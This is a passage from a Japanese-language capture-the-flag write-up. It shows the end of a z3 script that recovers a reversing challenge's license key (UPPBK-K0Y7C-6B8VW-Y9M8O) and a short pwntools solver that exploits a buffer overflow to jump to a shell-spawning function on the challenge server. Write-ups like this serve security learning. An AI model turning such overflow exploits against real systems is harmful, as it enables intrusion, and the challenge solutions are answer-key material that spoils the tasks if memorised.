solver.add(z3.Implies(flag[3] == 89, flag[14] == 48))
solver.add(z3.Implies(flag[3] == 74, flag[6] == 65))
solver.add(z3.Implies(flag[3] == 71, flag[0] == 48))
solver.add(z3.Implies(flag[3] == 82, flag[8] == 56))
solver.add(z3.Implies(flag[3] == 86, flag[7] == 54))
solver.add(z3.Implies(flag[4] == 57, flag[0] == 66))
solver.add(z3.Implies(flag[4] == 74, flag[16] == 69))
solver.add(z3.Implies(flag[4] == 55, flag[6] == 50))
solver.add(z3.Implies(flag[4] == 75, flag[17] == 77))
solver.add(z3.Implies(flag[4] == 74, flag[15] == 89))
solver.add(z3.Implies(flag[4] == 51, flag[8] == 84))
solver.add(z3.Implies(flag[4] == 51, flag[1] == 84))
solver.add(z3.Implies(flag[4] == 76, flag[3] == 66))
solver.add(z3.Implies(flag[4] == 82, flag[13] == 72))
solver.add(z3.Implies(flag[4] == 50, flag[11] == 87))
solver.add(z3.Implies(flag[5] == 66, flag[11] == 86))
solver.add(z3.Implies(flag[5] == 74, flag[19] == 48))
solver.add(z3.Implies(flag[5] == 49, flag[18] == 82))
solver.add(z3.Implies(flag[5] == 54, flag[6] == 77))
solver.add(z3.Implies(flag[5] == 84, flag[0] == 68))
solver.add(z3.Implies(flag[5] == 75, flag[14] == 87))
solver.add(z3.Implies(flag[5] == 66, flag[15] == 74))
solver.add(z3.Implies(flag[5] == 69, flag[16] == 68))
solver.add(z3.Implies(flag[5] == 85, flag[17] == 76))
solver.add(z3.Implies(flag[5] == 75, flag[4] == 75))
solver.add(z3.Implies(flag[6] == 82, flag[5] == 50))
solver.add(z3.Implies(flag[6] == 70, flag[19] == 66))
solver.add(z3.Implies(flag[6] == 79, flag[13] == 77))
solver.add(z3.Implies(flag[6] == 83, flag[11] == 86))
solver.add(z3.Implies(flag[6] == 48, flag[15] == 89))
solver.add(z3.Implies(flag[6] == 50, flag[9] == 77))
solver.add(z3.Implies(flag[6] == 51, flag[10] == 54))
solver.add(z3.Implies(flag[6] == 86, flag[0] == 66))
solver.add(z3.Implies(flag[6] == 90, flag[14] == 48))
solver.add(z3.Implies(flag[6] == 66, flag[1] == 68))
solver.add(z3.Implies(flag[7] == 88, flag[18] == 56))
solver.add(z3.Implies(flag[7] == 49, flag[15] == 87))
solver.add(z3.Implies(flag[7] == 51, flag[2] == 80))
solver.add(z3.Implies(flag[7] == 79, flag[10] == 65))
solver.add(z3.Implies(flag[7] == 52, flag[8] == 74))
solver.add(z3.Implies(flag[7] == 70, flag[17] == 85))
solver.add(z3.Implies(flag[7] == 57, flag[5] == 52))
solver.add(z3.Implies(flag[7] == 82, flag[6] == 81))
solver.add(z3.Implies(flag[7] == 85, flag[14] == 78))
solver.add(z3.Implies(flag[7] == 79, flag[16] == 72))
solver.add(z3.Implies(flag[8] == 78, flag[15] == 75))
solver.add(z3.Implies(flag[8] == 51, flag[18] == 84))
solver.add(z3.Implies(flag[8] == 52, flag[10] == 79))
solver.add(z3.Implies(flag[8] == 56, flag[17] == 57))
solver.add(z3.Implies(flag[8] == 86, flag[11] == 84))
solver.add(z3.Implies(flag[8] == 77, flag[19] == 71))
solver.add(z3.Implies(flag[8] == 67, flag[16] == 88))
solver.add(z3.Implies(flag[8] == 52, flag[12] == 55))
solver.add(z3.Implies(flag[8] == 82, flag[6] == 70))
solver.add(z3.Implies(flag[8] == 78, flag[13] == 80))
solver.add(z3.Implies(flag[9] == 82, flag[5] == 82))
solver.add(z3.Implies(flag[9] == 51, flag[7] == 65))
solver.add(z3.Implies(flag[9] == 73, flag[3] == 71))
solver.add(z3.Implies(flag[9] == 89, flag[17] == 88))
solver.add(z3.Implies(flag[9] == 84, flag[11] == 65))
solver.add(z3.Implies(flag[9] == 50, flag[16] == 51))
solver.add(z3.Implies(flag[9] == 71, flag[0] == 82))
solver.add(z3.Implies(flag[9] == 66, flag[6] == 51))
solver.add(z3.Implies(flag[9] == 81, flag[15] == 76))
solver.add(z3.Implies(flag[9] == 52, flag[13] == 86))
solver.add(z3.Implies(flag[10] == 87, flag[2] == 81))
solver.add(z3.Implies(flag[10] == 48, flag[9] == 78))
solver.add(z3.Implies(flag[10] == 77, flag[6] == 54))
solver.add(z3.Implies(flag[10] == 51, flag[11] == 88))
solver.add(z3.Implies(flag[10] == 73, flag[12] == 56))
solver.add(z3.Implies(flag[10] == 82, flag[15] == 70))
solver.add(z3.Implies(flag[10] == 87, flag[14] == 65))
solver.add(z3.Implies(flag[10] == 69, flag[5] == 52))
solver.add(z3.Implies(flag[10] == 85, flag[17] == 75))
solver.add(z3.Implies(flag[10] == 51, flag[3] == 65))
solver.add(z3.Implies(flag[11] == 79, flag[0] == 52))
solver.add(z3.Implies(flag[11] == 77, flag[8] == 83))
solver.add(z3.Implies(flag[11] == 74, flag[17] == 82))
solver.add(z3.Implies(flag[11] == 90, flag[5] == 71))
solver.add(z3.Implies(flag[11] == 82, flag[12] == 65))
solver.add(z3.Implies(flag[11] == 57, flag[13] == 49))
solver.add(z3.Implies(flag[11] == 50, flag[2] == 80))
solver.add(z3.Implies(flag[11] == 50, flag[14] == 72))
solver.add(z3.Implies(flag[11] == 52, flag[16] == 84))
solver.add(z3.Implies(flag[11] == 66, flag[1] == 80))
solver.add(z3.Implies(flag[12] == 56, flag[1] == 80))
solver.add(z3.Implies(flag[12] == 79, flag[1] == 67))
solver.add(z3.Implies(flag[12] == 84, flag[11] == 49))
solver.add(z3.Implies(flag[12] == 52, flag[13] == 54))
solver.add(z3.Implies(flag[12] == 55, flag[6] == 84))
solver.add(z3.Implies(flag[12] == 53, flag[7] == 69))
solver.add(z3.Implies(flag[12] == 80, flag[19] == 83))
solver.add(z3.Implies(flag[12] == 77, flag[14] == 74))
solver.add(z3.Implies(flag[12] == 80, flag[9] == 73))
solver.add(z3.Implies(flag[12] == 87, flag[16] == 65))
solver.add(z3.Implies(flag[13] == 90, flag[2] == 55))
solver.add(z3.Implies(flag[13] == 78, flag[0] == 56))
solver.add(z3.Implies(flag[13] == 86, flag[8] == 55))
solver.add(z3.Implies(flag[13] == 69, flag[7] == 54))
solver.add(z3.Implies(flag[13] == 85, flag[18] == 67))
solver.add(z3.Implies(flag[13] == 86, flag[16] == 57))
solver.add(z3.Implies(flag[13] == 87, flag[5] == 68))
solver.add(z3.Implies(flag[13] == 86, flag[1] == 80))
solver.add(z3.Implies(flag[13] == 55, flag[15] == 54))
solver.add(z3.Implies(flag[13] == 50, flag[10] == 81))
solver.add(z3.Implies(flag[14] == 52, flag[13] == 78))
solver.add(z3.Implies(flag[14] == 70, flag[9] == 54))
solver.add(z3.Implies(flag[14] == 55, flag[18] == 50))
solver.add(z3.Implies(flag[14] == 75, flag[11] == 72))
solver.add(z3.Implies(flag[14] == 70, flag[1] == 54))
solver.add(z3.Implies(flag[14] == 87, flag[4] == 75))
solver.add(z3.Implies(flag[14] == 65, flag[2] == 70))
solver.add(z3.Implies(flag[14] == 48, flag[6] == 89))
solver.add(z3.Implies(flag[14] == 72, flag[16] == 66))
solver.add(z3.Implies(flag[14] == 78, flag[15] == 84))
solver.add(z3.Implies(flag[15] == 66, flag[9] == 53))
solver.add(z3.Implies(flag[15] == 89, flag[10] == 54))
solver.add(z3.Implies(flag[15] == 72, flag[13] == 48))
solver.add(z3.Implies(flag[15] == 66, flag[11] == 83))
solver.add(z3.Implies(flag[15] == 76, flag[17] == 84))
solver.add(z3.Implies(flag[15] == 80, flag[3] == 87))
solver.add(z3.Implies(flag[15] == 76, flag[1] == 50))
solver.add(z3.Implies(flag[15] == 72, flag[8] == 79))
solver.add(z3.Implies(flag[15] == 81, flag[2] == 67))
solver.add(z3.Implies(flag[15] == 78, flag[16] == 52))
solver.add(z3.Implies(flag[16] == 57, flag[10] == 54))
solver.add(z3.Implies(flag[16] == 79, flag[11] == 81))
solver.add(z3.Implies(flag[16] == 66, flag[6] == 75))
solver.add(z3.Implies(flag[16] == 50, flag[5] == 56))
solver.add(z3.Implies(flag[16] == 73, flag[19] == 73))
solver.add(z3.Implies(flag[16] == 57, flag[17] == 77))
solver.add(z3.Implies(flag[16] == 72, flag[0] == 84))
solver.add(z3.Implies(flag[16] == 74, flag[1] == 50))
solver.add(z3.Implies(flag[16] == 87, flag[15] == 67))
solver.add(z3.Implies(flag[16] == 81, flag[4] == 69))
solver.add(z3.Implies(flag[17] == 76, flag[15] == 68))
solver.add(z3.Implies(flag[17] == 82, flag[4] == 79))
solver.add(z3.Implies(flag[17] == 72, flag[6] == 67))
solver.add(z3.Implies(flag[17] == 56, flag[8] == 50))
solver.add(z3.Implies(flag[17] == 77, flag[2] == 80))
solver.add(z3.Implies(flag[17] == 56, flag[0] == 49))
solver.add(z3.Implies(flag[17] == 90, flag[10] == 90))
solver.add(z3.Implies(flag[17] == 67, flag[13] == 49))
solver.add(z3.Implies(flag[17] == 51, flag[18] == 51))
solver.add(z3.Implies(flag[17] == 75, flag[5] == 57))
solver.add(z3.Implies(flag[18] == 56, flag[5] == 75))
solver.add(z3.Implies(flag[18] == 70, flag[11] == 79))
solver.add(z3.Implies(flag[18] == 77, flag[17] == 85))
solver.add(z3.Implies(flag[18] == 83, flag[0] == 75))
solver.add(z3.Implies(flag[18] == 70, flag[3] == 49))
solver.add(z3.Implies(flag[18] == 49, flag[13] == 71))
solver.add(z3.Implies(flag[18] == 54, flag[4] == 54))
solver.add(z3.Implies(flag[18] == 49, flag[6] == 84))
solver.add(z3.Implies(flag[18] == 69, flag[19] == 55))
solver.add(z3.Implies(flag[18] == 66, flag[8] == 82))
solver.add(z3.Implies(flag[19] == 50, flag[8] == 86))
solver.add(z3.Implies(flag[19] == 71, flag[14] == 70))
solver.add(z3.Implies(flag[19] == 87, flag[9] == 77))
solver.add(z3.Implies(flag[19] == 67, flag[13] == 87))
solver.add(z3.Implies(flag[19] == 86, flag[4] == 71))
solver.add(z3.Implies(flag[19] == 66, flag[2] == 55))
solver.add(z3.Implies(flag[19] == 73, flag[1] == 56))
solver.add(z3.Implies(flag[19] == 71, flag[5] == 50))
solver.add(z3.Implies(flag[19] == 84, flag[12] == 68))
solver.add(z3.Implies(flag[19] == 69, flag[11] == 66))

while solver.check() == z3.sat:
    m = solver.model()
    key = [chr(m[f].as_long()) for f in flag]

    new_key = []
    for i in range(0, len(key), 5):
        new_key.extend([*key[i:i+5], '-'])

    print("".join(new_key[:-1]))
    break

あとはこのスクリプトを実行すると、正しいライセンスキーが UPPBK-K0Y7C-6B8VW-Y9M8O であることが出力されるため、これを問題バイナリに与えることで Flag を取得できます。

image-20240604002921378

Never gonna give you UB(Pwn)

Can you get this program to do what you want?

問題バイナリを参照すると、いい感じに Shell を実装する関数が初めから実装されていました。

image-20240601215516618

main 関数には BoF の脆弱性があるので、以下の Solver で単純にこの関数に飛ばせば Flag を取得できます。

from pwn import *

target = remote("alles-brennt--johannes-oerding-3317.ctf.kitctf.de", "443", ssl=True)
shell = 0x401196
payload = b"A"*0x100 + b"A"*8 + p64(shell)

# Exploit
target.recvuntil(b"Please enter your song:")
target.sendline(payload)

# Finish exploit
target.clean()
target.interactive()

以下、実行画面。

image-20240601215546998

まとめ

Archventure time が Easy 設定なのは難易度詐欺が過ぎる気がしますが、様々なプラットフォームのバイナリの解析や Z3 Solver のテクニックなど学びが多くて良かったです。